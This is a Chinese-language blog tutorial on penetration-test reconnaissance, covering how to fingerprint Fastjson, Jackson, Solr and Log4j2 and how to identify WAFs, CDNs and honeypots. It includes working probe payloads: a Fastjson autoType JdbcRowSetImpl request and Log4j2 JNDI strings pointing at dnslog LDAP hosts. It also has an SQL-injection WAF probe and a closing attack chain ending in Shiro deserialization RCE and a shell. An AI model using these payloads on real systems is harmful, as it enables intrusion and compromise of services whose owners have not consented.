Fastjson 和 Jackson 在处理 JSON 数值时的行为不同,可用来区分:

测试 1:修改数值精度

向目标 API 发送正常请求,观察返回的数值格式,然后修改数值再发送:

# 原始请求(数字带前导零)
curl -X POST https://api.target.com/user/update \\
-H "Content-Type: application/json" \\
-d '{"userId": 01, "name": "test"}'

然后改为不带前导零:

# 修改后的请求
curl -X POST https://api.target.com/user/update \\
-H "Content-Type: application/json" \\
-d '{"userId": 1, "name": "test"}'

  • Fastjson 倾向于宽松解析:01 → 1(丢掉前导零),功能正常
  • Jackson 面对 01 时可能抛出 InvalidFormatException,因为 JSON 规范不允许前导零

测试 2:构造异常 JSON 观察报错

# 发送畸形 JSON
curl -X POST https://api.target.com/api/parse \\
-H "Content-Type: application/json" \\
-d '{"key": }'

  • Fastjson 的报错通常包含 com.alibaba.fastjson.JSONException
  • Jackson 的报错包含 com.fasterxml.jackson.databind.exc.
Fastjson 版本与 AutoType 绕过

Fastjson 的核心安全问题在于 autoType 功能——允许在 JSON 中通过 @type 指定反序列化的类名,实现任意类实例化。

Fastjson 版本AutoType 绕过方式关键 CVE
< 1.2.24 无限制 autoType 直接利用 TemplatesImpl RCE
< 1.2.47 ClassLoader 绕过 CVE-2017-18349
< 1.2.68 expectClass 未限制 通杀 Gadget
< 1.2.80 @type + 黑名单绕过 CVE-2022-25845
利用示例:Fastjson 1.2.47 RCE 探测

# 使用 dnslog.cn 进行漏洞探测
curl -X POST https://target.com/api/json \\
-H "Content-Type: application/json" \\
-d '{
"name": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"x": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://YOUR_DNSLOG.dnslog.cn/evil",
"autoCommit": true
}
}'

如果 dnslog.cn 收到了 DNS 查询请求 → 目标使用了存在漏洞版本的 Fastjson。


4.5 Apache Solr

Solr 是基于 Lucene 的企业级搜索平台,常在 Java 建设中作为搜索引擎使用。

识别特征

# 默认端口 8983
curl -I https://target.com:8983/solr/

# 管理界面
curl -s https://target.com:8983/solr/ | grep -i "solr\\|apache"

返回的 HTML 标题通常为:

<title>Solr Admin</title>

或在页面中包含 SolrCore Initialization Failures 等关键字。

Solr 版本探测

curl -s "https://target.com:8983/solr/admin/info/system" | grep -i "solr-spec-version"

典型漏洞
CVE影响版本类型
CVE-2017-12629 Solr < 7.1.0 XXE + RCE(RunExecutableListener)
CVE-2019-0193 Solr < 8.2.0 DataImportHandler RCE
CVE-2020-13957 Solr 6.6.0–8.6.2 未授权上传 ConfigSet → RCE

4.6 Log4j2 —— 需要探测而不是"看"

Log4j2 是纯粹的日志组件,前端不直接暴露任何指纹。

识别方法:JNDI 外带注入探测

核心思路:往所有可能被记录到日志的参数中插入 JNDI 注入 Payload,然后在 DNS 平台上观察是否有请求。

常见注入点:

  • URL 路径:GET /${jndi:ldap://xxx.dnslog.cn/test}
  • User-Agent 头
  • Referer 头
  • X-Forwarded-For 头
  • 登录表单中的用户名
  • 搜索框输入

# 多参数同时探测
curl -X POST https://target.com/login \\
-H "User-Agent: \\${jndi:ldap://ua.YOUR_ID.dnslog.cn}" \\
-H "X-Forwarded-For: \\${jndi:ldap://xff.YOUR_ID.dnslog.cn}" \\
-d "username=\\${jndi:ldap://user.YOUR_ID.dnslog.cn}&password=test"

然后到 dnslog.cn 查看是否有来自目标 IP 的 DNS 请求——哪条记录有请求,就能定位到哪个参数被写入了 Log4j2 日志。


五、内网环境识别方案:GotoScan

在线指纹识别平台依赖互联网请求,无法处理以下场景:

  • 目标部署在纯内网,无出网能力
  • 防火墙拦截了对外 TCP 连接
  • CDN 干扰了真实响应
GotoScan 使用示例

# 安装
git clone https://github.com/your-tools/gotoscan.git
cd gotoscan
pip install -r requirements.txt

# 单目标扫描
python gotoscan.py -u https://192.168.1.100:8443

# 批量扫描内网段
python gotoscan.py -f targets.txt –threads 20

工作流程:

  • 本地发起 HTTP 请求
  • 与内置指纹库(数千条 CMS/框架指纹)逐条比对
  • 匹配响应体中的关键字、路径 MD5、特殊 Header
  • 输出识别结果和置信度

  • 六、信息收集全景图

    框架和组件的识别不是孤立环节,它应该嵌入到完整的信息收集工作流中:

    6.1 WAF 识别

    手工检测示例:

    # 发送明显会被拦截的恶意 Payload
    curl -s "https://target.com/?id=1' AND 1=1–" | grep -i "blocked\\|waf\\|intercepted\\|您的请求被拦截"

    常见 WAF 拦截页面特征:

    WAF 厂商拦截特征
    阿里云 WAF ALI-WAF 响应头,您的请求已被拦截
    腾讯云 WAF 您的访问触发了网站安全防护规则
    CloudFlare `Attention Required!
    安全狗 拦截页面含 安全狗 字样
    长亭雷池 SafeLine 响应头

    6.2 CDN 识别

    # 多地 Ping 对比
    ping target.com # 本地解析
    # 使用在线工具查看不同地区的解析结果

    # NSLookup 分析 CNAME
    dig target.com
    # CNAME 为 *.cdn.xxx.com → 确认 CDN

    # 搜索子域名直连 IP(可能未配置 CDN)
    # 使用 SecurityTrails、DNSDB 查历史记录

    6.3 蜜罐识别

    • 低交互蜜罐:响应速度异常快(毫秒级),返回内容模式化
    • 高交互蜜罐:回复真实但功能受限,缺少深度交互路径
    • 在线检测辅助:Shodan 中 "honeypot" 标签、FOFA 中 protocol="http" && is_honeypot="true"

    七、总结:从识别到利用的完整思路

    信息收集不要停留在"我知道它是什么 CMS"就停住,而要追问到底:

    CMS 识别 → 框架语言(PHP/Python/Java/Go)

    框架识别 → 具体框架(ThinkPHP/Laravel/Django/SpringBoot/Shiro/Struts2)

    组件识别 → JSON 解析器 / 日志框架 / 中间件 / 搜索服务

    版本确认 → 映射到具体 CVE / 利用工具 / 攻击链

    举个例子走一遍完整流程:

  • 目标 admin.target.com → 返回 Whitelabel Error Page → 确认 SpringBoot
  • /actuator/env 泄露 → 数据库密码、Redis 地址 → 拿到内网凭据
  • 请求响应头中有 Set-Cookie: rememberMe=deleteMe → 确认同时使用了 Apache Shiro
  • Shiro 版本 < 1.4.1 → 使用 shiro_attack 工具执行 反序列化 RCE
  • 拿到 Shell 后,ps aux 发现 Java 进程加载了 fastjson-1.2.47.jar → 内网其他应用存在 Fastjson 漏洞
  • 每一步识别都为下一步攻击提供了方向。框架识别本身不是目的——精准匹配 exploit,拿到权限才是。

    赞(0)
    未经允许不得转载:171主机测评 » Web 渗透测试:开发框架与组件识别技术完全指南
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址